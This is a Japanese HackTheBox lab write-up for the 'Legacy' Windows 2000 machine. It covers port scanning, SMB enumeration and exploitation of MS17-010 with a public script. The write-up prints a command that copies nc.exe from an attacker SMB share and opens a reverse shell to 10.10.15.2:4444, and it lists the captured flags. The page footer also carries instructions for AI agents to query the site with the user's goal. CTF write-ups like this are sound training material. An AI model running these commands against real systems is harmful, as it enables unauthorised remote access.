> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/legacy-hackthebox-writeup.md).

# Legacy HackTheBox攻略記事

SMB列挙とMS17-010 EternalBlueの悪用を扱うLegacy HackTheBox Easy Windowsマシンの攻略記事。

{% embed url="<https://app.hackthebox.com/machines/Legacy>" %}

{% hint style="warning" %}
**スキル:**

* SMB列挙
* MS17-010 EternalBlue の悪用（Triple Z Exploit）
  {% endhint %}

## 偵察

### 環境設定

作業ディレクトリを作成し、環境を初期化する。

{% code overflow="wrap" %}

```bash
mkdir Legacy
cd Legacy
mkt
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FWO6ixDALcmfq4HtllC0s%2Fimage.png?alt=media&amp;token=91e9abfd-1766-4627-a155-88a022587c5e" alt="" width="563"><figcaption></figcaption></figure>

### ターゲット設定

ターゲットを設定し、Windows ホストとして応答することを確認する。

{% code overflow="wrap" %}

```bash
settarget 10.129.227.181 Legacy
ping -c 1 10.129.227.181
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fk3fHQt04AcLG5sFUV1cc%2Fimage.png?alt=media&amp;token=179a2c76-32a4-4f85-8f67-45310a49a7b3" alt="" width="563"><figcaption></figcaption></figure>

### ポートスキャン

開いているサービスを確認するため、すべての TCP ポートをスキャンする。

{% code overflow="wrap" %}

```bash
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.227.181 -oG allPorts
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fvm3f5NWvEUKMF8W0PbGs%2Fimage.png?alt=media&amp;token=ea128cfc-862d-4599-89bf-f92396a3b6c6" alt=""><figcaption></figcaption></figure>

スキャン結果から検出されたポートを抽出する。

{% code overflow="wrap" %}

```bash
extractPorts allPorts
```

{% endcode %}

**開いているポート：** `135`, `139`、および `445`.

特定されたサービスを確認する。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FNClc1QMGNPCBuGTbeWQn%2Fimage.png?alt=media&amp;token=37e5ee38-ff6b-4682-b9b9-8f8216b81f60" alt="" width="563"><figcaption></figcaption></figure>

対象を絞ったバージョンおよびデフォルトスクリプトのスキャンを実行する。ポート `445` は Microsoft-DS SMB を公開している。

{% code overflow="wrap" %}

```bash
sudo nmap -sCV -p 135,139,445 10.129.227.181 -oN targeted
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F1sqSQP0kOCpts4gLVwaT%2Fimage.png?alt=media&amp;token=0ecba1af-d72f-4120-8c8d-feb6e18e095d" alt=""><figcaption></figcaption></figure>

### SMB 列挙

匿名列挙と認証を試みる。どちらも成功しない。

{% code overflow="wrap" %}

```bash
smbmap -H 10.129.227.181
smbclient -L 10.129.227.181 -N
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FxRJKM9fBWpxwx7LJdlhK%2Fimage.png?alt=media&amp;token=c783cecf-44b0-417c-8039-dcbcd5e62fdc" alt="" width="563"><figcaption></figcaption></figure>

オペレーティングシステムは Windows 2000 と識別され、古い Windows リリースである。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F3MwOEYgDopqJMG9oCi1m%2Fimage.png?alt=media&amp;token=7b873e8e-19a9-4988-a7da-5af431b15b40" alt="" width="548"><figcaption></figcaption></figure>

### 脆弱性調査

Windows 2000 に影響する公開 SMB エクスプロイトを検索する：

`Windows 2000 LAN Manager exploit smb github`

いくつかの公開スクリプトが、このレガシーな Windows バージョンの脆弱性を狙っている。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fi3B18VKEc7XwNtbsaI3V%2Fimage.png?alt=media&amp;token=b118ea65-834c-479d-a5a1-015cfc744167" alt=""><figcaption></figcaption></figure>

Windows の EternalBlue 脆弱性については、この Exploit-DB のリソースを使用する。

{% embed url="<https://www.exploit-db.com/exploits/7132>" %}

Nmap のスクリプトスキャンで脆弱性を検証する。

{% code overflow="wrap" %}

```bash
nmap --script "vuln and safe" -p445 10.10.10.4 -oN smbScan
```

{% endcode %}

スキャンにより、ターゲットが脆弱であることが確認される。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F4huIMGt2OdpOJfsn4xuf%2Fimage.png?alt=media&amp;token=a1984211-c107-4a75-8cf9-130f1d8c3541" alt=""><figcaption></figcaption></figure>

### 悪用

以下の MS17-010 プロジェクトを使用する。

{% embed url="<https://github.com/worawit/ms17-010/>" %}

次を編集する `zzzz` ファイルに存在するユーザーに対して試します。

次の行をコメントアウトする：

{% code overflow="wrap" %}

```bash
#service_exec(conn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt')
```

{% endcode %}

コピーする `nc.exe` 作業ディレクトリへ。

{% code overflow="wrap" %}

```bash
cp /usr/share/seclists/Web-Shells/FuzzDB/nc.exe .
```

{% endcode %}

バイナリを転送するため、現在のディレクトリを SMB で共有する。

{% code overflow="wrap" %}

```bash
smbserver.py share $(pwd) -smb2support
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fr1ZbLUzjqHfJwwSNtcWS%2Fimage.png?alt=media&amp;token=13ae723e-4c50-490c-a0fe-15eb37450500" alt="" width="563"><figcaption></figcaption></figure>

以下の SMB パスとリバースシェルコマンドでスクリプトを更新する。

### リバースシェル

ポートでリスナーを起動する `4444`.

{% code overflow="wrap" %}

```bash
rlwrap nc -nvlp 4444
```

{% endcode %}

スクリプト内のコマンドを次のものに置き換える：

{% code overflow="wrap" %}

```bash
service_exec(conn, r'cmd.exe /c copy \\10.10.15.2\share\nc.exe C:\Windows\Temp\nc.exe && C:\Windows\Temp\nc.exe -e cmd.exe 10.10.15.2 4444')
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FTs188RCk2JC5ULFMuomq%2Fimage.png?alt=media&amp;token=1c398e9c-3b47-403b-a8cc-b1bc193beffc" alt=""><figcaption></figcaption></figure>

### フラグ

user flag を取得します。

{% code overflow="wrap" %}

```bash
type "C:\Documents and Settings\john\Desktop\user.txt"
```

{% endcode %}

* e69af0e4f443de7e36876fda4ec7644f

シェルは Administrator フラグにもアクセスを提供する。

{% code overflow="wrap" %}

```bash
type "C:\Documents and Settings\Administrator\Desktop\root.txt"
```

{% endcode %}

* 993442d258b0e0ec917cae9e695d5713

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FEJRmsBEwGYMckLCzdpsX%2Fimage.png?alt=media&amp;token=e871c9c9-8c01-4b92-a82a-c16d95c79d94" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fao1H1Vv1Y3iTttCs9lMR%2Fimage.png?alt=media&amp;token=f8112ef8-ee13-423f-a172-8b75880e305f" alt="" width="495"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/legacy-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
